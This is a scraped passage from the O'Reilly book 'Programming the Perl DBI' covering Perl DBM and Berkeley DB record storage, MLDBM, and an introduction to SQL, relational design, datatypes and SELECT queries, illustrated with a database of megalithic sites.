$database{'Callanish I'} =
    join( ':', 'Callanish I', 'Callanish, Western Isles', 'NB 213 330',
               'Stone Circle', 'Description of Callanish I' );
$database{'Avebury'} =
    join( ':', 'Avebury', 'Wiltshire', 'SU 103 700',
               'Stone Circle and Henge',
               'Description of Avebury' );
$database{'Lundin Links'} =
    join( ':', 'Lundin Links', 'Fife', 'NO 404 027', 'Standing Stones',
               'Description of Lundin Links' );
### Dump the database
foreach my $key ( keys %database ) {
    my ( $name, $location, $mapref, $type, $description ) =
         split( /:/, $database{$key} );
    print "$name\n", ( "=" x length( $name ) ), "\n\n";
    print "Location:      $location\n";
    print "Map Reference: $mapref\n";
    print "Description:   $description\n\n";
}

The storage of fixed-length records is equally straightforward, but does gobble up space within the database rather quickly. Furthermore, the main rationale for using fixed-length records is often access speed, but when stored within a DBM file, in-place queries and updates simply do not provide any major speed increase.

The code to insert and dump megalithic data using fixed-length records is shown in the following code segment:

### The pack and unpack template.
$PACKFORMAT = 'A64 A64 A16 A32 A256';

### Insert some data rows
$database{'Callanish I'} =
    pack( $PACKFORMAT, 'Callanish I', 'Callanish, Western Isles',
                     'NB 213 330', 'Stone Circle',
                     'Description of Callanish I' );

$database{'Avebury'} =
    pack( $PACKFORMAT, 'Avebury', 'Wiltshire', 'SU 103 700',
                     'Stone Circle and Henge', 'Description of Avebury' );

$database{'Lundin Links'} =
    pack( $PACKFORMAT, 'Lundin Links', 'Fife', 'NO 404 027',
                     'Standing Stones',
                     'Description of Lundin Links' );

### Dump the database
foreach my $key ( keys %database ) {
    my ( $name, $location, $mapref, $type, $description ) =
        unpack( $PACKFORMAT, $database{$key} );
    print "$name\n", ( "=" x length( $name ) ), "\n\n";
    print "Location:      $location\n";
    print "Map Reference: $mapref\n";
    print "Description:   $description\n\n";
}

The actual code to express the storage and retrieval mechanism isn't really much more horrible than the delimited record version, but it does introduce a lot of gibberish in the form of the pack( ) template, which could easily be miskeyed or forgotten about. This also doesn't really solve the problem of localized program logic, and turns maintenance into the aforementioned nightmare.

How can we improve on this?

2.7.3.2. Packing in Perl objects

One solution to both the localized code problem and the problem of storing multiple data values within a single hash key/value pair is to use a Perl object to encapsulate and hide some of the nasty bits.[18]

[18]This is where people tend to get a little confused about Perl. The use of objects, accessor methods, and data hiding are all very object-oriented. By this design, we get to mix the convenience of non-OO programming with the neat bits of OO programming. Traditional OO programmers have been known to make spluttering noises when Perl programmers discuss this sort of thing in public.

The following Perl code defines an object of class Megalith. We can then reuse this packaged object module in all of our programs without having to rewrite any of them, if we change the way the module works:

#!/usr/bin/perl -w
  #
  # ch02/DBM/Megalith.pm: A perl class encapsulating a megalith

  package Megalith;

  use strict;
  use Carp;

  ### Creates a new megalith object and initializes the member fields.
  sub new {
      my $class = shift;
      my ( $name, $location, $mapref, $type, $description ) = @_;
      my $self = {};
      bless $self => $class;

      ### If we only have one argument, assume we have a string
      ### containing all the field values in $name and unpack it
      if ( @_ == 1 ) {
          $self->unpack( $name );
      }
      else {
          $self->{name} = $name;
          $self->{location} = $location;
          $self->{mapref} = $mapref;
          $self->{type} = $type;
          $self->{description} = $description;
      }
      return $self;
  }

  ### Packs the current field values into a colon delimited record
  ### and returns it
  sub pack {
      my ( $self ) = @_;

      my $record = join( ':', $self->{name}, $self->{location},
                              $self->{mapref}, $self->{type},
                              $self->{description} );

      ### Simple check that fields don't contain any colons
      croak "Record field contains ':' delimiter character"
          if $record =~ tr/:/:/ != 4;

      return $record;
  }

  ### Unpacks the given string into the member fields
  sub unpack {
      my ( $self, $packedString ) = @_;

      ### Naive split...Assumes no inter-field delimiters
      my ( $name, $location, $mapref, $type, $description ) =
           split( ':', $packedString, 5 );

      $self->{name} = $name;
      $self->{location} = $location;
      $self->{mapref} = $mapref;
      $self->{type} = $type;
      $self->{description} = $description;
  }

  ### Displays the megalith data
  sub dump {
      my ( $self ) = @_;

      print "$self->{name} ( $self->{type} )\n",
            "=" x ( length( $self->{name} ) +
                    length( $self->{type} ) + 5 ), "\n";
      print "Location:      $self->{location}\n";
      print "Map Reference: $self->{mapref}\n";
      print "Description:   $self->{description}\n\n";
  }

  1;

The record format defined by the module contains the items of data pertaining to each megalithic site that can be queried and manipulated by programs. A new Megalith object can be created from Perl via the new operator, for example:

### Create a new object encapsulating Stonehenge
$stonehenge =
    new Megalith( 'Stonehenge', 'Description of Stonehenge',
                  'Wiltshire', 'SU 123 400' );

### Display the name of the site stored within the object ...
print "Name: $stonehenge->{name}\n";

It would be extremely nice if these Megalith objects could be stored directly into a DBM file. Let's try a simple piece of code that simply stuffs the object into the hash:

### Create a new object encapsulating Stonehenge
$stonehenge =
    new Megalith( 'Stonehenge', 'Description of Stonehenge',
                  'Wiltshire', 'SU 123 400' );

### Store the object within the database hash
$database{'Stonehenge'} = $stonehenge;

### Have a look at the entry within the database
print "Key: $database{'Stonehenge'}\n";

This generates some slightly odd results, to say the least:

Key: Megalith=HASH(0x80e9aec)

What appears to have happened is that the string describing the reference to the Perl object has been inserted in the Berkeley DB instead of the object itself!

This result is perhaps not surprising, given that the DBM systems are really designed for storing single string values, and there is no innate understanding of how to compact complex objects into a single value. It simply converts all keys and values into strings.

Fortunately, the problem of storing a Perl object can be routed around by packing , or marshalling, all the values of all the Megalith object's fields into a single string, and then inserting that string into the database. Similarly, upon extracting the string from the database, a new Megalith can be allocated and populated by unpacking the string into the appropriate fields.

By using our conveniently defined Megalith class, we can write the following code to do this (note the calling of the pack() method):

$database{'Callanish I'} =
    new Megalith( 'Callanish I',
                  'Western Isles',
                  'NB 213 330',
                  'Stone Circle',
                  'Description of Callanish I' )->pack(  );

### Dump the database
foreach $key ( keys %database ) {

    ### Unpack the record into a new megalith object
    my $megalith = new Megalith( $database{$key} );

    ### And display the record
    $megalith->dump(  );
}

The Megalith object has two methods declared within it called pack( ) and unpack( ) . These simply pack all the fields into a single delimited string, and unpack a single string into the appropriate fields of the object as needed. If a Megalith object is created with one of these strings as the sole argument, unpack( ) is called internally, shielding the programmer from the internal details of storage management.

Similarly, the actual way in which the data is packed and unpacked is hidden from the module user. This means that if any database structural changes need to be made, they can be made internally without any maintenance on the database manipulation scripts themselves.

If you read the section on putting complex data into flat files earlier in the chapter, then you'll know that there's more than one way to do it.

So although it's a little more work at the outset, it is actually quite straightforward to store Perl objects (and other complex forms of data) within DBM files.

2.7.3.3. Object accessor methods

A final gloss on the Megalith class would be to add accessor methods to allow controlled access to the values stored within each object. That is, the example code listed above contains code that explicitly accesses member variables within the object:

print "Megalith Name: $megalith->{name}\n";

This may cause problems if the internal structure of the Megalith object alters in some way. Also, if you write $megalith->{nme} by mistake, no errors or warnings will be generated. Defining an accessor method called getName( ), such as:

### Returns the name of the megalith
sub getName {
    my ( $self ) = @_;
    return $self->{name};
}

makes the code arguably more readable:

print "Megalith Name: " . $megalith->getName(  ) . "\n";

and also ensures the correctness of the application code, since the actual logic is migrated, once again, into the object.

2.7.3.4. Querying limitations of DBM files and hashtables

Even with the functionality of being able to insert complex data into the Berkeley DB file (albeit in a slightly roundabout way), there is still a fundamental limitation of this database software: you can retrieve values via only one key. That is, if you wanted to search our megalithic database, the name, not the map reference or the location, must be used as the search term.

This might be a pretty big problem, given that you might wish to issue a query such as, ``tell me about all the sites in Wiltshire,'' without specifying an exact name. In this case, every record would be tested to see if any fit the bill. This would use a sequential search instead of the indexed access you have when querying against the key.

A solution to this problem is to create secondary referential hashes that have key values for the different fields you might wish to query on. The value stored for each key is actually a reference to the original hash and not to a separate value. This allows you to update the value in the original hash, and the new value is automatically mirrored within the reference hashes. The following snippet shows some code that could be used to create and dump out a referential hash keyed on the location of a megalithic site:

### Build a referential hash based on the location of each monument
$locationDatabase{'Wiltshire'}     = \$database{'Avebury'};
$locationDatabase{'Western Isles'} = \$database{'Callanish I'};
$locationDatabase{'Fife'}          = \$database{'Lundin Links'};

### Dump the location database
foreach $key ( keys %locationDatabase ) {

    ### Unpack the record into a new megalith object
    my $megalith = new Megalith( ${ $locationDatabase{$key} } );

    ### And display the record
    $megalith->dump(  );
}

There are, of course, a few drawbacks to this particular solution. The most apparent is that any data deletion or insertion would require a mirror operation to be performed on each secondary reference hash.

The biggest problem with this approach is that your data might not have unique keys. If we wished to store records for Stonehenge and Avebury, both of those sites have a location of Wiltshire. In this case, the latest inserted record would always overwrite the earlier records inserted into the hash. To solve this general problem, we can use a feature of Berkeley DB files that allows value chaining.

2.7.3.5. Chaining multiple values into a hash

One of the bigger problems when using a DBM file with the storage mechanism of DB_HASH is that the keys against which the data is stored must be unique. For example, if we stored two different values with the key of ``Wiltshire,'' say for Stonehenge and Avebury, generally the last value inserted into the hash would get stored in the database. This is a bit problematic, to say the least.

In a good database design, the primary key of any data structure generally should be unique in order to speed up searches. But quick and dirty databases, badly designed ones, or databases with a suboptimal data quality may not be able to enforce this uniqueness. Similarly, using referential hashtables to provide nonprimary key searching of the database also triggers this problem.

A Perl solution to this problem is to push the multiple values onto an array that is stored within the hash element. This technique works fine while the program is running, because the array references are still valid, but when the database is written out and reloaded, the data is invalid.

Therefore, to solve this problem, we need to look at using the different Berkeley DB storage management method of DB_BTREE , which orders its keys prior to insertion. With this mechanism, it is possible to have duplicate keys, because the underlying DBM file is in the form of an array rather than a hashtable. Fortunately, you still reference the DBM file via a Perl hashtable, so DB_BTREE is not any harder to use. The main downside to DB_BTREE storage is a penalty in performance, since a B-Tree is generally slightly slower than a hashtable for data retrieval.

The following short program creates a Berkeley DB using the DB_BTREE storage mechanism and also specifies a flag to indicate that duplicate keys are allowed. A number of rows are inserted with duplicate keys, and finally the database is dumped to show that the keys have been stored:

#!/usr/bin/perl -w
  #
  # ch02/DBM/dupkey1: Creates a Berkeley DB with the DB_BTREE mechanism and
  #                   allows for duplicate keys. We then insert some test
  #                   object data with duplicate keys and dump the final
  #                   database.

  use DB_File;
  use Fcntl ':flock';
  use Megalith;

  ### Set Berkeley DB BTree mode to handle duplicate keys
  $DB_BTREE->{'flags'} = R_DUP;

  ### Remove any existing database files
  unlink 'dupkey2.dat';

  ### Open the database up
  my %database;
  my $db = tie %database, 'DB_File', "dupkey2.dat",
                 O_CREAT | O_RDWR, 0666, $DB_BTREE
      or die "Can't initialize database: $!\n";

  ### Exclusively lock the database to ensure no one accesses it
  my $fd = $db->fd(  );
  open DATAFILE, "+<&=$fd"
      or die "Can't safely open file: $!\n";
  print "Acquiring exclusive lock...";
  flock( DATAFILE, LOCK_EX )
      or die "Unable to acquire lock: $!. Aborting";
  print "Acquired lock. Ready to update database!\n\n";

  ### Create, pack and insert some rows with duplicate keys
  $database{'Wiltshire'} =
    new Megalith( 'Avebury',
                  'Wiltshire',
                  'SU 103 700',
                  'Stone Circle and Henge',
                  'Largest stone circle in Britain' )->pack(  );

  $database{'Wiltshire'} =
    new Megalith( 'Stonehenge',
                  'Wiltshire',
                  'SU 123 400',
                  'Stone Circle and Henge',
                  'The most popularly known stone circle in the world' )->pack(  );

  $database{'Wiltshire'} =
    new Megalith( 'The Sanctuary',
                  'Wiltshire',
                  'SU 118 680',
                  'Stone Circle ( destroyed )',
                  'No description available' )->pack(  );

  ### Dump the database
  foreach my $key ( keys %database ) {

      ### Unpack the record into a new megalith object
      my $megalith = new Megalith( $database{$key} );

      ### And display the record
      $megalith->dump(  );
  }

  ### Close the database
  undef $db;
  untie %database;

  ### Close the filehandle to release the lock
  close DATAFILE;

  exit;

The output you get from running this program is not exactly what we'd hoped for:

Acquiring exclusive lock...Acquired lock. Ready to update database!

  The Sanctuary ( Stone Circle ( destroyed ) )
  ============================================
  Location:      Wiltshire
  Map Reference: SU 118 680
  Description:   No description available

  The Sanctuary ( Stone Circle ( destroyed ) )
  ============================================
  Location:      Wiltshire
  Map Reference: SU 118 680
  Description:   No description available

  The Sanctuary ( Stone Circle ( destroyed ) )
  ============================================
  Location:      Wiltshire
  Map Reference: SU 118 680
  Description:   No description available

It seems that we've managed to successfully store three copies of the same record instead of three different records!

Fortunately, this isn't actually the case. We have correctly stored the three different records with the same key in the DBM file. The problem lies in the way we've tried to read these records back out of the DBM file. A basic dereference using the hash key obviously doesn't work, since Perl stores only a single value for each key, as we already know.

To get around this limitation, we can use the seq( ) method declared within the DB_File module, which is used to traverse chained records stored within a single hash element. Figure 2-1 illustrates the principle of chained record traversal within a hash element.

Figure 2-1. Chained record traversal

The corrected record dumping chunk is rewritten to use seq() in this way:

### Dump the database
my ($key, $value, $status) = ('', '', 0);
for ( $status = $db->seq( $key, $value, R_FIRST ) ;
      $status == 0 ;
      $status = $db->seq( $key, $value, R_NEXT ) ) {

    ### Unpack the record into a new megalith object
    my $megalith = new Megalith( $value );

    ### And display the record
    $megalith->dump();
}

Running this corrected version produces the output we expected, i.e., records for three different megalithic sites.

The seq() method is quite simple to use and understand, and it works well when used in conjunction with a for loop, as shown above. The method takes three arguments: the hash key, the hash value, and a flag signifying which element within the chain should be returned. The first two arguments are actually populated with the hash key and the correct hash value, respectively, when seq() is called. Exactly which hash value is returned depends on the value of the third argument:

  • R_FIRST returns the first record within the chain of records.

  • R_LAST returns the last record stored within the chain of records.

  • R_NEXT returns the next record within the chain of records. This is used for forward sequential traversals of the chain.

  • R_PREV returns the previous record within the chain of records. This is used for backward sequential traversals of the chain.

  • R_CURSOR returns a record in which a partial match for the key has been located. This allows a certain element of "fuzzy matching" of keys. This feature is not necessarily accurate and may return the closest match to the desired key rather than an exact match. For example, if you searched for all sites within Wiltshire and asked for a partial match against ``wilt'', but no exact records matched, you may be returned the entries for the ``Western Isles,'' as these are the closest to the search term.

In the database dumping example shown above, we are simply starting at the beginning of the record chain and traversing through it in a forward direction. We could have performed a backward search by writing:

for ( $status = $db->seq( $key, $value, R_LAST ) ;
      $status == 0 ;
      $status = $db->seq( $key, $value, R_PREV ) ) {
    ...
}

A quicker and easier utility method for querying duplicate values also exists: get_dup() . This method returns either the number of records with the given key or an array or hash containing the appropriate records. For example, given that we have three records in our database with the key of Wiltshire, we could verify that fact by writing:

### Displays the number of records inserted against
### the "Wiltshire" key
my $numRecords = $db->get_dup( 'Wiltshire' );
print "Number of Wiltshire records: $numRecords\n";

2.7.4. Deleting Values

Deleting values is the final operation that can be performed on DBM files. Updating is as simple as assigning different values to the appropriate key within the database, and deleting is equally simple. This operation is performed by using the standard Perl delete function on the appropriate key within the database. delete removes it from the hash that represents the database, and because the hash has been tied to the DBM file, it is purged from that also.

The following program inserts three records into a Berkeley DB, and then dumps the database to show that the records are there. Following that process, a single record is deleted and the database is redumped to illustrate the deletion. Here's the program:

#!/usr/bin/perl -w
#
# ch02/DBM/delete: Creates a Berkeley DB, inserts some test data then
#                  deletes some of it

use strict;

use DB_File;

### Initialize the Berkeley DB
my  %database;
tie %database, 'DB_File', "delete.dat"
    or die "Can't initialize database: $!\n";

### Insert some data rows
$database{'Callanish I'}  = "Western Isles";
$database{'Avebury'}      = "Wiltshire";
$database{'Lundin Links'} = "Fife";

### Dump the database
print "Dumping the entire database...\n";
foreach my $key ( keys %database ) {
    printf "%15s - %s\n", $key, $database{$key};
}
print "\n";

### Delete a row
delete $database{'Avebury'};

### Re-dump the database
print "Dumping the database after deletions...\n";
foreach my $key ( keys %database ) {
    printf "%15s - %s\n", $key, $database{$key};
}

### Close the Berkeley DB
untie %database;

exit;

The output of this program is as expected:

Dumping the entire database...
     Callanish I - Western Isles
         Avebury - Wiltshire
    Lundin Links - Fife

Dumping the database after deletions...
     Callanish I - Western Isles
    Lundin Links - Fife

That is, the specified row has been permanently removed from the database by deleting the related hash entry.

Previous | Home | Next
2.6. Concurrent Database Access and Locking | Book Index | 2.8. The MLDBM Module
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The MLDBM Module (Programming the Perl DBI)

 Programming the Perl DBISearch this book

2.8. The MLDBM Module

The MLDBM module is very useful for quickly writing complex Perl data structures to DBM files for persistent storage. The ML in MLDBM stands for multilevel and refers to its ability to store complex multilevel data structures. That's something that ordinary hashes, even hashes tied to DBM files, can't do.

The MLDBM module is an excellent example of a layered storage manager. It acts as a thin layer over another DBM module, but intercepts reads and writes to automatically serialize (or deserialize) the data using another module.[19]

[19]We discussed serialization and the Data::Dumper and Storable modules earlier in this chapter.

The module works by automatically serializing the Perl data structures that you wish to store into a single string, which is then stored within a DBM file. The data is recovered by deserializing the data from the stored string back into a valid Perl object. The actual interface for referencing the stored and retrieved data is identical to the API for DBM files. That makes it very easy to "drop in" use of MLDBM instead of your existing DBM module.

The following example shows how we could use DB_File for storage and Data::Dumper for displaying the restored data:

#!/usr/bin/perl -w
#
# ch02/mldbmtest: Demonstrates storing complex data structures in a DBM
#                 file using the MLDBM module.

use MLDBM qw( DB_File Data::Dumper );
use Fcntl;

### Remove the test file in case it exists already ...
unlink 'mldbmtest.dat';

tie my %database1, 'MLDBM', 'mldbmtest.dat', O_CREAT | O_RDWR, 0666
    or die "Can't initialize MLDBM file: $!\n";

### Create some megalith records in the database
%database1 = (
    'Avebury' => {
        name => 'Avebury',
        mapref => 'SU 103 700',
        location => 'Wiltshire'
    },
    'Ring of Brodgar' => {
        name => 'Ring of Brodgar',
        mapref => 'HY 294 133',
        location => 'Orkney'
    }
);

### Untie and retie to show data is stored in the file
untie %database1;

tie my %database2, 'MLDBM', 'mldbmtest.dat', O_RDWR, 0666
    or die "Can't initialize MLDBM file: $!\n";

### Dump out via Data::Dumper what's been stored ...
print Data::Dumper->Dump( [ \%database2 ] );

untie %database2;

exit;

The results of running this program are:

$VAR1 = {
      'Avebury' => {
                     'name' => 'Avebury',
                     'location' => 'Wiltshire',
                     'mapref' => 'SU 103 700'
                   },
      'Ring of Brodgar' => {
                             'name' => 'Ring of Brodgar',
                             'location' => 'Orkney',
                             'mapref' => 'HY 294 133'
                           }
    };

This shows that the nested data within the original hash has been restored intact.

Previous | Home | Next
2.7. DBM Files and the BerkeleyDatabase Manager | Book Index | 2.9. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Programming the Perl DBI)

 Programming the Perl DBISearch this book

2.9. Summary

This has been a long chapter, both for you to read and for us to write. We've covered a lot of topics and, hopefully, given you some useful insights into database fundamentals and some new techniques for your mental toolbox.

We're almost ready to discuss the DBI itself, but before we do, we want to introduce you to the joys of SQL.

Previous | Home | Next
2.8. The MLDBM Module | Book Index | 3. SQL and Relational Databases
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SQL and Relational Databases (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Chapter 3. SQL and Relational Databases

Contents:

The Relational Database Methodology
Datatypes and NULL Values
Querying Data
Modifying Data Within Tables
Creating and Destroying Tables

The Structured Query Language, or SQL,[20] is a language designed for the purpose of manipulating data within databases.

[20]Officially pronounced ``ess-que-ell,'' although ``sequel'' is also popular. We have also heard the term ``squeal,'' but that's usually only heard when people first see the syntax or when they've just deleted all their data!

In 1970, E. F. Codd, working for IBM, published a now classic paper, "A Relational Model of Data for Large Shared Data Banks," in which he laid down a set of abstract principles for data management that became known as the relational model. The entire field of relational database technology has its roots in that paper.

One of the many research projects sparked by that paper was the design and implementation of a language that could make interacting with relational databases simple. And it didn't make the programmer write horrendously complex sections of code to interact with the database.[21]

[21]Chapter 2, "Basic Non-DBI Databases " shows many examples of how long-winded and inflexible database interaction can be!

This chapter serves to give the complete database neophyte a very limited overview of what SQL is and how you can do some simple tasks with it. Many of the more complex details of SQL's design and operation have been omitted or greatly simplified to allow the neophyte to learn enough to use the DBI in a simple, but effective, way. Section 0.1, "Resources " in the Preface lists other books and web sites dedicated to SQL and relational database technologies.

3.1. The Relational Database Methodology

The relational database model revolves around data storage units called tables, which have a number of attributes associated with them, called columns. For example, we might wish to store the name of the megalithic site, its location, what sort of site it is, and where it can be found on the map in our megaliths table. Each of these items of data would be a separate column.

In most large database systems, tables are created within containing structures known as schemas . A schema is a collection of logical data structures, or schema objects, such as tables and views. In some databases, a schema corresponds to a user created within the database. In others, it's a more general way of grouping related tables. For example, in our megalithic database, using Oracle, we have created a user called stones. Within the stones user's schema, the various tables that compose the megalithic database have been created.

Data is stored within a table in the form of rows . That is, the data for one site is stored within one row that contains the appropriate values for each column. This sort of data layout corresponds exactly to the row-column metaphor used by spreadsheets, ledgers, or even plain old tabulated lists you might scribble in a notepad.

An example of such a list containing megalithic data is:

Site            Location        Type                    Map Reference
----            --------        ----                    -------------
Callanish I     Western Isles   Stone Circle and Rows   NB 213 330
Stonehenge      Wiltshire       Stone Circle and Henge  SU 123 422
Avebury         Wiltshire       Stone Circle and Henge  SU 103 700
Sunhoney        Aberdeenshire   Recumbent Stone Circle  NJ 716 058
Lundin Links    Fife            Four Poster             NO 404 027

This system lends itself quite well to a generalized query such as ``Give me the names of all the megaliths'' or ``Give me the map locations of all the megaliths in Wiltshire.'' To perform these queries, we simply specify the columns we wish to see and the conditions each column in each row must meet to be returned as a valid result.

Similarly, data manipulation operations are easily specified using a similar syntax, such as "Insert a new row into the megaliths table with the following values..." or "Delete all the rows containing megaliths in Fife."

The sheer simplicity of SQL belies the fact that it is an extraordinarily powerful syntax for manipulating data stored within databases, and helps enforce a logical structure for your data.

The main thrust of the relational database design is that related information should be stored either in the same place or in a separate place that is related to the original in some meaningful way. It also is designed around the principle that data should not be duplicated within the database.

Using our megalithic database as an example, we have decided to store all information directly related to each megalithic site within the megaliths table and all the multimedia clips in a separate table. This is a good example of a relational database, albeit a small one, because if we stored the multimedia clip information in the megaliths table, we would duplicate the megalith information many times over -- once per clip for that site, in fact. This leads to redundancy of data, which is one problem the relational database model is designed to avoid.

We have also split the categorization of a site into a separate table called site_types to avoid further redundancy of data.

The process of rationalizing your data into tables to avoid data redundancy is known as normalization. The corollary operation is known as denormalization and can be desirable in certain situations.

Data stored across multiple normalized tables can be retrieved by making joins between the tables that allow queries to retrieve columns from all the tables included in the join. Joins would allow us to fetch the name of the megalithic site and the URL of multimedia clips from the same query, for example. This is an efficient way of storing data and stores exactly enough data necessary to retrieve the desired information.

On the downside, creating multi-table joins on a regular basis can perform badly on databases with large data quantities. Extra disk accesses are required to relate the rows of one table to another, and it can be difficult for the database to work out how best to do it.

This is a major problem in the discipline known as data warehousing , in which massive quantities of information are stored to allow users to produce reports and analyses of that data. The typical solution for these situations is to create new wide, denormalized tables that contain much information duplicated from other tables. This greatly increases performance at the expense of storage space and, since the information contained within the data warehouses is generally read-only, you don't have to worry about keeping data changes synchronized.

For the purposes of these chapters, a small database containing three tables will be used to demonstrate the various ways in which SQL can be used to query and manipulate data. These tables are named megaliths, media, and site_types. Figure 3-1 illustrates the structure of these three tables.

Figure 3-1. Megalith database

These tables are designed to contain information on megalithic sites and multi-media clips associated with those sites respectively. In essence, each megalithic site will have zero or more multimedia clips associated with it and will be categorized as exactly one type of site. This small database will form the basis of our examples throughout the remainder of the book.

Previous | Home | Next
2.9. Summary | Book Index | 3.2. Datatypes and NULL Values
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Datatypes and NULL Values (Programming the Perl DBI)

 Programming the Perl DBISearch this book

3.2. Datatypes and NULL Values

One of the most important aspects of the structures defined within a database, such as tables and views, is the datatype of each of the columns. Perl is a loosely typed language, whereas SQL is strongly typed. Thus, each field or value is of a given datatype that determines how values and fields are compared. For example, the mapref field within the megaliths table would not be much use if it could hold only dates!

Therefore, it is important to assign an appropriate datatype to each column. This avoids any potential confusion as to how the values stored within each column are to be interpreted, and also establishes how these values can be compared in query condition clauses.

There are several common datatypes. The most widely used of these can be grouped as follows:

Numeric datatypes

The grouping of numeric datatypes includes types such as integer and floating point (or real) numbers. These types, depending on your database, may include FLOAT , REAL , INTEGER , and NUMBER . Numeric datatypes are compared in the obvious way; that is, the actual values are tested.

Character datatypes

Character datatypes are used to store and manipulate textual data. Any characters whatsoever -- digits or letters -- can be stored within a character datatype.

However, if digits are stored within a character datatype, they will be treated as being a string of characters as opposed to a number. For example, they'll be sorted and ordered as strings and not numbers, so "10" will be less than "9".

Depending on your database system, there can be many different types of character datatypes such as CHAR , VARCHAR , VARCHAR2 , and so on. Most databases support at least the most basic of these, CHAR.

When being compared, character datatypes usually apply lexical ordering according to the character set being used by the database.

Date datatypes

Most database systems implement at least one datatype that contains date information, as opposed to a character datatype containing a string representation of a date. This allows you to perform arbitrary arithmetic on date values very easily. For example, you might wish to select rows where the date field corresponds to a Monday.

When comparing dates, a later date is regarded as being greater than an earlier date. datatypes for storing times and timestamps (date plus time) are also common.

Binary object datatypes

Binary object datatypes are a relatively recent addition to database systems and allow you to store massive unstructured chunks of data -- typically images, video, or audio clips -- within a database. The actual binary object datatypes tend to differ between databases, but usually tend to be called LOBs (large objects) if they do exist. For example, the BLOB datatype stores binary data and CLOB stores large quantities of ASCII character data. Generally, LOB types cannot be compared to one another.

The NULL value

NULL is a special kind of value that actually has no value. It can be contained within columns and signifies that no value is contained within that column for a given row. NULL values are used where the actual value is either not known or not meaningful.

When a table is created, each column can declare to either allow or disallow NULL values, regardless of the datatype of the column.

NULL values should not be confused with the numeric value of zero. They are not the same thing. Zero means zero, whereas NULL means there is no value at all.[22]

[22]Though some databases do treat empty strings as NULL values when inserting data.

If you attempt to evaluate an expression containing a NULL value, other than with various special NULL handling functions, it will always evaluate to NULL. Comparing values to NULL should always use IS NULL and IS NOT NULL instead.[23] Be careful!

[23]A few databases, such as mSQL, do use = NULL.

The NULL value plays a part in what are called "three-valued logic" tables that are used when evaluating condition clause truth tables, as discussed later in this chapter. This allows SQL conditional expressions to either be true, false, or NULL.

Previous | Home | Next
3. SQL and Relational Databases | Book Index | 3.3. Querying Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Querying Data (Programming the Perl DBI)

 Programming the Perl DBISearch this book

3.3. Querying Data

The first (and possibly most immediately useful) operation that SQL allows you to perform on data is to select and return rows of data from tables stored within the database. This activity forms the core of exactly what a database represents, a large repository of searchable information.

All SQL queries, no matter how simple or complex, use the SELECT keyword to specify the columns to fetch, the tables to fetch them from, and any conditions that must be met for the rows to be retrieved. SELECT falls into the group of commands known as Data Manipulation Language , or DML, commands.

The full syntax for SELECT can be intimidating to the new user, primarily because it sports a multitude of different ways in which the query can be customized. For example, you might wish to return only unique data rows, group certain rows together, or even specify how the returned rows should be sorted.

For the moment, we'll just look at the simplest cases.

In our example, we've tended to use capital letters for SQL commands and other reserved words, and lowercase letters for database object names (tables, columns, etc.). In most databases, the SQL commands are not case-sensitive, but the actual database object names may or may not be.

3.3.1. Simple Queries

The simplest SQL query is to ask for certain columns in all rows of a table. The SELECT syntax for this form of query can be expressed as simply as:

SELECT column, column, ..., column
FROM table

or:

SELECT *
FROM table

which will query and fetch back all the columns within the specified table.

Therefore, to select some of the rows from some columns in the megaliths table, the following SQL statement can be used:

SELECT name, location, mapref
FROM megaliths

which would return the following information:

+---------------------------------------------------------------+
| name         | location                          | mapref     |
+---------------------------------------------------------------+
| Callanish I  | Callanish, Isle of Lewis          | NB 213 330 |
| Lundin Links | Lundin Links, Fife, Scotland      | NO 404 027 |
| Stonehenge   | Near Amesbury, Wiltshire, England | SU 123 400 |
| Avebury      | Avebury, Wiltshire, England       | SU 103 700 |
| Sunhoney     | Near Insch, Aberdeenshire         | NJ 716 058 |
+---------------------------------------------------------------+

So even with the simplest SQL imaginable, the inherent flexibility of the syntax allows us to easily specify exactly which information we want from the database without having to write lots of excruciating lines of code to get it.

Another aspect of the relational database methodology is now visible, in that even though the database contains information on all the columns within a particular table, only a subset of the available columns needs to be retrieved. Therefore, we can extract exactly the data we need for a particular query and no more. This is an extremely powerful feature and separates the actual data stored within the database from our desired view of that data.

3.3.2. Queries and Condition Clauses

The previous example relied on retrieving all the rows within a table, whereas the more ordinary, everyday database operations will usually require more accurate targeting of specific rows. For example, "Tell me the names of all the stone circles in Wiltshire" is a more specific query than "Tell me about all the stone circles in the database." To achieve this task, SQL provides the ability to specify conditions that must be met before a row is returned to the user.

SQL's syntax regarding condition clauses is just as straightforward and obvious as that for specifying which columns are of interest. The condition clauses that narrow the query are specified after the list of tables from which data is being retrieved, i.e., after the FROM clause and table list.

Therefore, a query that retrieves the name and location columns from rows that contain the string ``Wiltshire'' in the location column, can be written as:

SELECT name, location
FROM megaliths
WHERE location LIKE '%Wiltshire%'

The information returned from this query would be:

+--------------------------------------------------+
| name         | location                          |
+--------------------------------------------------+
| Stonehenge   | Near Amesbury, Wiltshire, England |
| Avebury      | Avebury, Wiltshire, England       |
+--------------------------------------------------+

The returned information shows just the columns specified for the sites that have a location value containing the string, ``Wiltshire.'' The WHERE keyword is the one that specifies the beginning of the list of conditions that must be met for each row to be returned. That is, the condition states that the location column value must contain the desired string ``Wiltshire.''[24]

[24]The % character, in this case, is used as the standard SQL wildcard character to match any number of characters. A few databases use * instead.

The following table lists all of the comparison operators used by SQL for testing condition clauses. These conditions are generally Perl-like and should be familiar.

Operator

Purpose

=

This operator tests exact equality between columns and/or literal values. For example, the query:

SELECT name, location
FROM megaliths
WHERE location = 'Fife'

will return all rows where the location column is equal to the value "Fife".

<>

This operator tests for inequality between columns and/or literal values. For example, the query:

SELECT name, location
FROM megaliths
WHERE location <> 'Fife'

will return all rows where the location column is not equal to the value "Fife". Some databases alternatively use the !=, ^=, or ~= operators instead of <>.

> and <

These two operators represent ``greater than'' and ``less than'' tests between columns and/or literal values. For example, the query:

SELECT name, location
FROM megaliths
WHERE id < 10
AND id > 5

will return the name and location of all megalithic sites whose id value is less than 10 and greater than 5. The type of comparison used depends on the datatype of the values involved. So numeric values are compared as numbers, string values are compared as strings, and date values are compared as dates.

On a related note, there also exists the <= and >= operators that perform ``less than or equal to'' and ``greater than or equal to'' tests, respectively.

IN

This keyword tests equality of a column and/or literal value within a specified set of values. For example, the query:

SELECT name, location
FROM megaliths
